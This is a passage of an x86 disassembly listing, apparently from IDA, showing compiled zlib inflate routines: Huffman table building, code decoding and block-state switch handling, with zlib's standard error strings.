--------------------------------------------------------------------------- loc_41F1B3: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov ecx, [ebp+var_4] ; jumptable 0041EF71 case 3 mov edi, [ebp+var_10] cmp ecx, 0Eh jnb short loc_41F1E3 loc_41F1BE: ; CODE XREF: sub_41EF26+2BBj cmp [ebp+var_8], 0 jz loc_41F64B movzx eax, byte ptr [edi] and [ebp+arg_8], 0 dec [ebp+var_8] shl eax, cl add ecx, 8 mov [ebp+var_4], ecx or [ebp+arg_0], eax inc edi cmp ecx, 0Eh jb short loc_41F1BE loc_41F1E3: ; CODE XREF: sub_41EF26+296j mov eax, [ebp+arg_0] and eax, 3FFFh mov ecx, eax mov [ebx+4], eax and ecx, 1Fh cmp ecx, 1Dh ja loc_41F69D mov edx, eax and edx, 3E0h cmp edx, 3A0h ja loc_41F69D mov esi, [ebp+arg_4] push 4 shr eax, 5 and eax, 1Fh lea eax, [eax+ecx+102h] push eax push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebx+0Ch], eax test eax, eax jz loc_41F675 shr [ebp+arg_0], 0Eh sub [ebp+var_4], 0Eh and dword ptr [ebx+8], 0 mov dword ptr [ebx], 4 jmp short loc_41F251 ; --------------------------------------------------------------------------- loc_41F24B: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov edi, [ebp+var_10] ; jumptable 0041EF71 case 4 mov esi, [ebp+arg_4] loc_41F251: ; CODE XREF: sub_41EF26+323j mov eax, [ebx+4] shr eax, 0Ah add eax, 4 cmp [ebx+8], eax jnb short loc_41F2BA loc_41F25F: ; CODE XREF: sub_41EF26+392j mov ecx, [ebp+var_4] loc_41F262: ; CODE XREF: sub_41EF26+361j cmp ecx, 3 jnb short loc_41F289 cmp [ebp+var_8], 0 jz loc_41F70D movzx eax, byte ptr [edi] and [ebp+arg_8], 0 dec [ebp+var_8] shl eax, cl or [ebp+arg_0], eax inc edi add ecx, 8 mov [ebp+var_4], ecx jmp short loc_41F262 ; --------------------------------------------------------------------------- loc_41F289: ; CODE XREF: sub_41EF26+33Fj mov ecx, [ebx+8] mov eax, [ebp+arg_0] mov edx, [ebx+0Ch] and eax, 7 mov ecx, ds:dword_421058[ecx*4] sub [ebp+var_4], 3 shr [ebp+arg_0], 3 mov [edx+ecx*4], eax mov ecx, [ebx+4] inc dword ptr [ebx+8] mov eax, [ebx+8] shr ecx, 0Ah add ecx, 4 cmp eax, ecx jb short loc_41F25F loc_41F2BA: ; CODE XREF: sub_41EF26+337j ; sub_41EF26+3AEj cmp dword ptr [ebx+8], 13h jnb short loc_41F2D6 mov eax, [ebx+8] mov ecx, [ebx+0Ch] mov eax, ds:dword_421058[eax*4] and dword ptr [ecx+eax*4], 0 inc dword ptr [ebx+8] jmp short loc_41F2BA ; --------------------------------------------------------------------------- loc_41F2D6: ; CODE XREF: sub_41EF26+398j push esi lea ecx, [ebx+14h] push dword ptr [ebx+24h] lea eax, [ebx+10h] push ecx push eax push dword ptr [ebx+0Ch] mov dword ptr [eax], 7 call sub_420681 add esp, 14h mov [ebp+var_14], eax test eax, eax jnz loc_41F6CD and [ebx+8], eax mov dword ptr [ebx], 5 jmp short loc_41F30F ; --------------------------------------------------------------------------- loc_41F309: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov edi, [ebp+var_10] ; jumptable 0041EF71 case 5 mov esi, [ebp+arg_4] loc_41F30F: ; CODE XREF: sub_41EF26+3E1j ; sub_41EF26+46Bj ... mov eax, [ebx+4] mov ecx, [ebx+8] mov edx, eax and eax, 1Fh shr edx, 5 and edx, 1Fh lea eax, [edx+eax+102h] cmp ecx, eax jnb loc_41F453 mov eax, [ebx+10h] loc_41F332: ; CODE XREF: sub_41EF26+432j cmp [ebp+var_4], eax jnb short loc_41F35A cmp [ebp+var_8], 0 jz loc_41F70D movzx edx, byte ptr [edi] mov ecx, [ebp+var_4] and [ebp+arg_8], 0 dec [ebp+var_8] shl edx, cl or [ebp+arg_0], edx inc edi add [ebp+var_4], 8 jmp short loc_41F332 ; --------------------------------------------------------------------------- loc_41F35A: ; CODE XREF: sub_41EF26+40Fj mov eax, ds:dword_423318[eax*4] mov ecx, [ebx+14h] and eax, [ebp+arg_0] mov edx, [ecx+eax*8+4] lea eax, [ecx+eax*8] cmp edx, 10h mov [ebp+var_18], edx movzx ecx, byte ptr [eax+1] mov [ebp+var_14], ecx jnb short loc_41F396 shr [ebp+arg_0], cl mov eax, ecx mov ecx, [ebx+0Ch] sub [ebp+var_4], eax mov eax, [ebx+8] mov [ecx+eax*4], edx inc dword ptr [ebx+8] jmp loc_41F30F ; --------------------------------------------------------------------------- loc_41F396: ; CODE XREF: sub_41EF26+455j cmp edx, 12h jnz short loc_41F3A0 push 7 pop eax jmp short loc_41F3A3 ; --------------------------------------------------------------------------- loc_41F3A0: ; CODE XREF: sub_41EF26+473j lea eax, [edx-0Eh] loc_41F3A3: ; CODE XREF: sub_41EF26+478j xor ecx, ecx cmp edx, 12h setnz cl dec ecx and ecx, 8 add ecx, 3 mov [ebp+var_10], ecx loc_41F3B5: ; CODE XREF: sub_41EF26+4BBj mov ecx, [ebp+var_14] lea edx, [eax+ecx] cmp [ebp+var_4], edx jnb short loc_41F3E3 cmp [ebp+var_8], 0 jz loc_41F70D movzx edx, byte ptr [edi] mov ecx, [ebp+var_4] and [ebp+arg_8], 0 dec [ebp+var_8] shl edx, cl or [ebp+arg_0], edx inc edi add [ebp+var_4], 8 jmp short loc_41F3B5 ; --------------------------------------------------------------------------- loc_41F3E3: ; CODE XREF: sub_41EF26+498j shr [ebp+arg_0], cl mov ecx, ds:dword_423318[eax*4] and ecx, [ebp+arg_0] add [ebp+var_10], ecx mov ecx, eax shr [ebp+arg_0], cl mov ecx, [ebp+var_14] add eax, ecx mov ecx, [ebx+8] sub [ebp+var_4], eax mov eax, [ebx+4] mov edx, eax and eax, 1Fh shr edx, 5 and edx, 1Fh lea eax, [edx+eax+102h] mov edx, [ebp+var_10] add edx, ecx cmp edx, eax ja loc_41F731 cmp [ebp+var_18], 10h jnz short loc_41F43D cmp ecx, 1 jb loc_41F731 mov eax, [ebx+0Ch] mov eax, [eax+ecx*4-4] jmp short loc_41F43F ; --------------------------------------------------------------------------- loc_41F43D: ; CODE XREF: sub_41EF26+503j xor eax, eax loc_41F43F: ; CODE XREF: sub_41EF26+515j ; sub_41EF26+523j mov edx, [ebx+0Ch] mov [edx+ecx*4], eax inc ecx dec [ebp+var_10] jnz short loc_41F43F mov [ebx+8], ecx jmp loc_41F30F ; --------------------------------------------------------------------------- loc_41F453: ; CODE XREF: sub_41EF26+403j push esi lea ecx, [ebp+var_2C] push dword ptr [ebx+24h] mov eax, [ebx+4] and dword ptr [ebx+14h], 0 mov [ebp+var_18], 9 push ecx lea ecx, [ebp+var_30] push ecx lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_18] push ecx mov ecx, eax push dword ptr [ebx+0Ch] and eax, 1Fh shr ecx, 5 and ecx, 1Fh add eax, 101h inc ecx mov [ebp+var_10], 6 push ecx push eax call sub_420A87 add esp, 24h mov [ebp+var_14], eax test eax, eax jnz loc_41F779 push esi push [ebp+var_2C] push [ebp+var_30] push [ebp+var_10] push [ebp+var_18] call sub_41F8C1 add esp, 14h test eax, eax jz loc_41F675 push dword ptr [ebx+0Ch] mov [ebx+4], eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov dword ptr [ebx], 6 pop ecx jmp short loc_41F4DE ; --------------------------------------------------------------------------- loc_41F4D8: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov edi, [ebp+var_10] ; jumptable 0041EF71 case 6 mov esi, [ebp+arg_4] loc_41F4DE: ; CODE XREF: sub_41EF26+5B0j mov eax, [ebp+arg_0] push [ebp+arg_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] push esi mov [esi], edi push ebx add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax call sub_41F8F5 add esp, 0Ch cmp eax, 1 jnz loc_41F7C9 and [ebp+arg_8], 0 push esi push dword ptr [ebx+4] call sub_41FEB3 mov eax, [esi+4] mov edi, [esi] mov [ebp+var_8], eax mov eax, [ebx+20h] pop ecx mov [ebp+arg_0], eax mov eax, [ebx+1Ch] pop ecx mov ecx, [ebx+34h] mov [ebp+var_4], eax mov eax, [ebx+30h] mov [ebp+var_10], edi cmp ecx, eax mov [ebp+var_C], ecx jnb short loc_41F54D sub eax, ecx dec eax jmp short loc_41F552 ; --------------------------------------------------------------------------- loc_41F54D: ; CODE XREF: sub_41EF26+620j mov eax, [ebx+2Ch] sub eax, ecx loc_41F552: ; CODE XREF: sub_41EF26+625j cmp dword ptr [ebx+18h], 0 mov [ebp+var_14], eax jnz loc_41F782 and dword ptr [ebx], 0 jmp loc_41EF66 ; --------------------------------------------------------------------------- loc_41F567: ; CODE XREF: sub_41EF26+64j mov eax, [ebp+arg_4] mov [ebx+20h], esi mov [ebx+1Ch], edi and dword ptr [eax+4], 0 loc_41F574: ; CODE XREF: sub_41EF26+6C1j mov ecx, edx sub ecx, [eax] mov [eax], edx add [eax+8], ecx jmp loc_41F667 ; --------------------------------------------------------------------------- loc_41F582: ; CODE XREF: sub_41EF26+A7j mov eax, [ebp+arg_4] mov dword ptr [ebx], 9 shr esi, 3 add edi, 0FFFFFFFDh mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type" mov [ebx+20h], esi mov [ebx+1Ch], edi loc_41F59E: ; CODE XREF: sub_41EF26+6D9j mov ecx, [ebp+var_8] mov [eax+4], ecx mov ecx, edx sub ecx, [eax] mov [eax], edx add [eax+8], ecx jmp loc_41F821 ; --------------------------------------------------------------------------- loc_41F5B2: ; CODE XREF: sub_41EF26+F5j mov eax, [ebp+var_4] mov [ebx+20h], esi mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [edi+4], eax mov eax, [ebp+var_10] mov ecx, eax push 0FFFFFFFCh sub ecx, [edi] mov [edi], eax mov eax, [ebp+var_C] push edi add [edi+8], ecx mov [ebx+34h], eax jmp loc_41F855 ; --------------------------------------------------------------------------- loc_41F5DB: ; CODE XREF: sub_41EF26+143j mov eax, [ebp+arg_4] mov [ebx+20h], esi mov [ebx+1Ch], ecx mov [eax+4], edi jmp short loc_41F574 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41EF26+177j mov eax, [ebp+arg_4] mov dword ptr [ebx], 9 mov dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths" mov [ebx+20h], esi mov [ebx+1Ch], ecx jmp short loc_41F59E ; --------------------------------------------------------------------------- loc_41F601: ; CODE XREF: sub_41EF26+1A7j mov eax, [ebp+arg_0] mov ecx, [ebp+var_10] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] mov edx, ecx sub edx, [eax] and dword ptr [eax+4], 0 mov [eax], ecx add [eax+8], edx jmp short loc_41F667 ; --------------------------------------------------------------------------- loc_41F622: ; CODE XREF: sub_41EF26+242j mov eax, [ebp+arg_0] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_10] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [ebx+34h], edx loc_41F643: ; CODE XREF: sub_41EF26+806j push [ebp+arg_8] jmp loc_41F7FD ; --------------------------------------------------------------------------- loc_41F64B: ; CODE XREF: sub_41EF26+29Cj mov eax, [ebp+arg_0] mov ecx, edi mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] sub ecx, [eax] and dword ptr [eax+4], 0 mov [eax], edi add [eax+8], ecx loc_41F667: ; CODE XREF: sub_41EF26+657j ; sub_41EF26+6FAj mov ecx, [ebp+var_C] push [ebp+arg_8] mov [ebx+34h], ecx jmp loc_41F854 ; --------------------------------------------------------------------------- loc_41F675: ; CODE XREF: sub_41EF26+30Bj ; sub_41EF26+596j mov eax, [ebp+arg_0] push 0FFFFFFFCh mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_41F7FD ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: sub_41EF26+2D0j ; sub_41EF26+2E4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov dword ptr [ebx], 9 mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols" mov [ebx+20h], ecx mov ecx, [ebp+var_4] mov [ebx+1Ch], ecx mov ecx, [ebp+var_8] mov [eax+4], ecx mov ecx, edi sub ecx, [eax] mov [eax], edi add [eax+8], ecx jmp loc_41F821 ; --------------------------------------------------------------------------- loc_41F6CD: ; CODE XREF: sub_41EF26+3D2j cmp [ebp+var_14], 0FFFFFFFDh loc_41F6D1: ; CODE XREF: sub_41EF26+857j jnz short loc_41F6E4 push dword ptr [ebx+0Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov dword ptr [ebx], 9 pop ecx loc_41F6E4: ; CODE XREF: sub_41EF26:loc_41F6D1j mov eax, [ebp+arg_0] push [ebp+var_14] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_41F7FD ; --------------------------------------------------------------------------- loc_41F70D: ; CODE XREF: sub_41EF26+345j ; sub_41EF26+415j ... mov eax, [ebp+arg_0] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax and dword ptr [esi+4], 0 mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_41F643 ; --------------------------------------------------------------------------- loc_41F731: ; CODE XREF: sub_41EF26+4F9j ; sub_41EF26+508j push dword ptr [ebx+0Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] mov eax, [ebp+arg_0] mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov [ebx+20h], eax mov eax, [ebp+var_4] push 0FFFFFFFDh mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] push esi mov [esi], edi push ebx add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax call sub_420BB9 add esp, 14h jmp loc_41F85E ; --------------------------------------------------------------------------- loc_41F779: ; CODE XREF: sub_41EF26+579j cmp [ebp+var_14], 0FFFFFFFDh jmp loc_41F6D1 ; --------------------------------------------------------------------------- loc_41F782: ; CODE XREF: sub_41EF26+633j mov dword ptr [ebx], 7 jmp short loc_41F793 ; --------------------------------------------------------------------------- loc_41F78A: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov edi, [ebp+var_10] ; jumptable 0041EF71 case 7 mov esi, [ebp+arg_4] mov ecx, [ebp+var_C] loc_41F793: ; CODE XREF: sub_41EF26+862j push [ebp+arg_8] mov [ebx+34h], ecx push esi push ebx call sub_420BB9 mov ecx, [ebx+34h] add esp, 0Ch cmp [ebx+30h], ecx jz short loc_41F7CC mov edx, [ebp+arg_0] mov [ebx+20h], edx mov edx, [ebp+var_4] mov [ebx+1Ch], edx mov edx, [ebp+var_8] mov [esi+4], edx mov edx, edi sub edx, [esi] mov [esi], edi add [esi+8], edx mov [ebx+34h], ecx loc_41F7C9: ; CODE XREF: sub_41EF26+5E9j push eax jmp short loc_41F7FD ; --------------------------------------------------------------------------- loc_41F7CC: ; CODE XREF: sub_41EF26+883j mov dword ptr [ebx], 8 jmp short loc_41F7DD ; --------------------------------------------------------------------------- loc_41F7D4: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov edi, [ebp+var_10] ; jumptable 0041EF71 case 8 mov esi, [ebp+arg_4] mov ecx, [ebp+var_C] loc_41F7DD: ; CODE XREF: sub_41EF26+8ACj mov eax, [ebp+arg_0] push 1 mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov [ebx+34h], ecx loc_41F7FD: ; CODE XREF: sub_41EF26+720j ; sub_41EF26+772j ... push esi jmp short loc_41F855 ; --------------------------------------------------------------------------- loc_41F800: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov eax, [ebp+arg_0] ; jumptable 0041EF71 case 9 mov ecx, [ebp+var_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] mov [eax+4], ecx mov ecx, [ebp+var_10] mov edx, ecx sub edx, [eax] mov [eax], ecx add [eax+8], edx loc_41F821: ; CODE XREF: sub_41EF26+687j ; sub_41EF26+7A2j mov ecx, [ebp+var_C] push 0FFFFFFFDh mov [ebx+34h], ecx jmp short loc_41F854 ; --------------------------------------------------------------------------- loc_41F82B: ; CODE XREF: sub_41EF26+45j mov eax, [ebp+arg_0] ; default mov ecx, [ebp+var_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] push 0FFFFFFFEh mov [eax+4], ecx mov ecx, [ebp+var_10] mov edx, ecx sub edx, [eax] mov [eax], ecx mov ecx, [ebp+var_C] add [eax+8], edx mov [ebx+34h], ecx loc_41F854: ; CODE XREF: sub_41EF26+74Aj ; sub_41EF26+903j push eax loc_41F855: ; CODE XREF: sub_41EF26+6B0j ; sub_41EF26+8D8j push ebx call sub_420BB9 add esp, 0Ch loc_41F85E: ; CODE XREF: sub_41EF26+84Ej pop edi pop esi pop ebx leave retn sub_41EF26 endp ; --------------------------------------------------------------------------- off_41F863 dd offset loc_41EF78 ; DATA XREF: sub_41EF26+4Br dd offset loc_41F056 ; jump table for switch statement dd offset loc_41F0C9 dd offset loc_41F1B3 dd offset loc_41F24B dd offset loc_41F309 dd offset loc_41F4D8 dd offset loc_41F78A dd offset loc_41F7D4 dd offset loc_41F800 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F88B proc near ; CODE XREF: sub_4201DB+21p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] push 0 push esi push edi call sub_41EE2E push dword ptr [edi+28h] push dword ptr [esi+28h] call dword ptr [esi+24h] push dword ptr [edi+24h] push dword ptr [esi+28h] call dword ptr [esi+24h] push edi push dword ptr [esi+28h] call dword ptr [esi+24h] add esp, 24h xor eax, eax pop edi pop esi pop ebp retn sub_41F88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8C1 proc near ; CODE XREF: sub_41EF26+E8p ; sub_41EF26+58Cp arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, [ebp+arg_10] push 1Ch push 1 push dword ptr [eax+28h] call dword ptr [eax+20h] add esp, 0Ch test eax, eax jz short loc_41F8F3 mov cl, [ebp+arg_0] and dword ptr [eax], 0 mov [eax+10h], cl mov cl, [ebp+arg_4] mov [eax+11h], cl mov ecx, [ebp+arg_8] mov [eax+14h], ecx mov ecx, [ebp+arg_C] mov [eax+18h], ecx loc_41F8F3: ; CODE XREF: sub_41F8C1+15j pop ebp retn sub_41F8C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8F5 proc near ; CODE XREF: sub_41EF26+5DEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] mov eax, [esi] mov [ebp+var_4], eax mov eax, [esi+4] mov edx, [edi+34h] mov [ebp+var_8], eax mov eax, [edi+20h] mov ebx, [edi+4] mov [ebp+arg_4], eax mov eax, [edi+1Ch] mov [ebp+arg_0], eax mov eax, [edi+30h] cmp edx, eax jnb short loc_41F92D sub eax, edx dec eax jmp short loc_41F932 ; --------------------------------------------------------------------------- loc_41F92D: ; CODE XREF: sub_41F8F5+31j mov eax, [edi+2Ch] sub eax, edx loc_41F932: ; CODE XREF: sub_41F8F5+36j mov [ebp+var_C], eax loc_41F935: ; CODE XREF: sub_41F8F5+E9j ; sub_41F8F5+16Ej ... mov ecx, [ebx] cmp ecx, 9 ; switch 10 cases ja loc_41FE59 ; default jmp ds:off_41FE8B[ecx*4] ; switch jump loc_41F947: ; DATA XREF: _3:off_41FE8Bo cmp eax, 102h ; jumptable 0041F940 case 0 jb loc_41F9E3 cmp [ebp+var_8], 0Ah jb loc_41F9E3 mov eax, [ebp+arg_4] push esi mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax push edi sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx push dword ptr [ebx+18h] movzx eax, byte ptr [ebx+11h] push dword ptr [ebx+14h] push eax movzx eax, byte ptr [ebx+10h] push eax call sub_41FEC6 mov [ebp+arg_8], eax mov eax, [esi] mov [ebp+var_4], eax mov eax, [esi+4] mov edx, [edi+34h] mov [ebp+var_8], eax mov eax, [edi+20h] add esp, 18h mov [ebp+arg_4], eax mov eax, [edi+1Ch] mov [ebp+arg_0], eax mov eax, [edi+30h] cmp edx, eax jnb short loc_41F9C0 sub eax, edx dec eax jmp short loc_41F9C5 ; --------------------------------------------------------------------------- loc_41F9C0: ; CODE XREF: sub_41F8F5+C4j mov eax, [edi+2Ch] sub eax, edx loc_41F9C5: ; CODE XREF: sub_41F8F5+C9j cmp [ebp+arg_8], 0 mov [ebp+var_C], eax jz short loc_41F9E3 mov ecx, [ebp+arg_8] dec ecx neg ecx sbb ecx, ecx and ecx, 2 add ecx, 7 mov [ebx], ecx jmp loc_41F935 ; --------------------------------------------------------------------------- loc_41F9E3: ; CODE XREF: sub_41F8F5+57j ; sub_41F8F5+61j ... movzx eax, byte ptr [ebx+10h] mov [ebx+0Ch], eax mov eax, [ebx+14h] mov [ebx+8], eax mov dword ptr [ebx], 1 loc_41F9F6: ; CODE XREF: sub_41F8F5+4Bj ; sub_41F8F5+12Fj ; DATA XREF: ... mov eax, [ebx+0Ch] ; jumptable 0041F940 case 1 cmp [ebp+arg_0], eax jnb short loc_41FA26 cmp [ebp+var_8], 0 jz loc_41FD63 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_41F9F6 ; jumptable 0041F940 case 1 ; --------------------------------------------------------------------------- loc_41FA26: ; CODE XREF: sub_41F8F5+107j mov eax, ds:dword_423318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] lea eax, [ecx+eax*8] mov [ebp+var_14], eax movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax+1] sub [ebp+arg_0], eax mov eax, [ebp+var_14] shr [ebp+arg_4], cl movzx ecx, byte ptr [eax] test ecx, ecx mov [ebp+var_18], ecx jnz short loc_41FA68 mov eax, [eax+4] mov dword ptr [ebx], 6 mov [ebx+8], eax loc_41FA60: ; CODE XREF: sub_41F8F5+18Dj ; sub_41F8F5+1A7j ... mov eax, [ebp+var_C] jmp loc_41F935 ; --------------------------------------------------------------------------- loc_41FA68: ; CODE XREF: sub_41F8F5+15Dj mov ecx, [ebp+var_18] test cl, 10h jz short loc_41FA84 and ecx, 0Fh mov [ebx+8], ecx mov eax, [eax+4] mov [ebx+4], eax mov dword ptr [ebx], 2 jmp short loc_41FA60 ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F8F5+179j test cl, 40h jz loc_41FB75 test cl, 20h jz loc_41FD75 mov dword ptr [ebx], 7 jmp short loc_41FA60 ; --------------------------------------------------------------------------- loc_41FA9E: ; CODE XREF: sub_41F8F5+4Bj ; sub_41F8F5+1D7j ; DATA XREF: ... mov eax, [ebx+8] ; jumptable 0041F940 case 2 cmp [ebp+arg_0], eax jnb short loc_41FACE cmp [ebp+var_8], 0 jz loc_41FD63 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_41FA9E ; jumptable 0041F940 case 2 ; --------------------------------------------------------------------------- loc_41FACE: ; CODE XREF: sub_41F8F5+1AFj mov eax, ds:dword_423318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] mov dword ptr [ebx], 3 shr [ebp+arg_4], cl add [ebx+4], eax mov eax, ecx sub [ebp+arg_0], eax movzx eax, byte ptr [ebx+11h] mov [ebx+0Ch], eax mov eax, [ebx+18h] mov [ebx+8], eax loc_41FAF9: ; CODE XREF: sub_41F8F5+4Bj ; sub_41F8F5+232j ; DATA XREF: ... mov eax, [ebx+0Ch] ; jumptable 0041F940 case 3 cmp [ebp+arg_0], eax jnb short loc_41FB29 cmp [ebp+var_8], 0 jz loc_41FD63 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_41FAF9 ; jumptable 0041F940 case 3 ; --------------------------------------------------------------------------- loc_41FB29: ; CODE XREF: sub_41F8F5+20Aj mov eax, ds:dword_423318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] lea eax, [ecx+eax*8] mov [ebp+var_14], eax movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax+1] sub [ebp+arg_0], eax mov eax, [ebp+var_14] shr [ebp+arg_4], cl movzx ecx, byte ptr [eax] test cl, 10h jz short loc_41FB6C and ecx, 0Fh mov [ebx+8], ecx mov eax, [eax+4] mov [ebx+0Ch], eax mov dword ptr [ebx], 4 jmp loc_41FA60 ; --------------------------------------------------------------------------- loc_41FB6C: ; CODE XREF: sub_41F8F5+25Ej test cl, 40h jnz loc_41FDAA loc_41FB75: ; CODE XREF: sub_41F8F5+192j mov [ebx+0Ch], ecx mov ecx, [eax+4] lea eax, [eax+ecx*8] mov [ebx+8], eax jmp loc_41FA60 ; --------------------------------------------------------------------------- loc_41FB86: ; CODE XREF: sub_41F8F5+4Bj ; sub_41F8F5+2BFj ; DATA XREF: ... mov eax, [ebx+8] ; jumptable 0041F940 case 4 cmp [ebp+arg_0], eax jnb short loc_41FBB6 cmp [ebp+var_8], 0 jz loc_41FD63 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_41FB86 ; jumptable 0041F940 case 4 ; --------------------------------------------------------------------------- loc_41FBB6: ; CODE XREF: sub_41F8F5+297j mov eax, ds:dword_423318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] mov dword ptr [ebx], 5 shr [ebp+arg_4], cl add [ebx+0Ch], eax mov eax, ecx sub [ebp+arg_0], eax loc_41FBD4: ; CODE XREF: sub_41F8F5+4Bj ; DATA XREF: _3:off_41FE8Bo mov ecx, [edi+28h] ; jumptable 0041F940 case 5 mov eax, edx sub eax, [ebx+0Ch] cmp eax, ecx mov [ebp+var_10], eax jnb short loc_41FBF9 mov eax, [edi+2Ch] sub eax, ecx mov [ebp+var_18], eax loc_41FBEB: ; CODE XREF: sub_41F8F5+302j mov eax, [ebp+var_10] add eax, [ebp+var_18] cmp eax, [edi+28h] mov [ebp+var_10], eax jb short loc_41FBEB loc_41FBF9: ; CODE XREF: sub_41F8F5+2ECj cmp dword ptr [ebx+4], 0 mov eax, [ebp+var_C] jz loc_41FCBE loc_41FC06: ; CODE XREF: sub_41F8F5+3C3j test eax, eax jnz loc_41FC94 mov eax, [edi+2Ch] cmp edx, eax mov [ebp+var_14], eax jnz short loc_41FC36 mov eax, [edi+30h] mov ecx, [edi+28h] cmp eax, ecx jz short loc_41FC36 mov edx, ecx cmp edx, eax jnb short loc_41FC2D sub eax, edx dec eax jmp short loc_41FC32 ; --------------------------------------------------------------------------- loc_41FC2D: ; CODE XREF: sub_41F8F5+331j mov eax, [ebp+var_14] sub eax, edx loc_41FC32: ; CODE XREF: sub_41F8F5+336j test eax, eax jnz short loc_41FC94 loc_41FC36: ; CODE XREF: sub_41F8F5+321j ; sub_41F8F5+32Bj push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_420BB9 mov edx, [edi+34h] mov [ebp+arg_8], eax mov eax, [edi+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_18], eax jnb short loc_41FC5B sub eax, edx dec eax jmp short loc_41FC60 ; --------------------------------------------------------------------------- loc_41FC5B: ; CODE XREF: 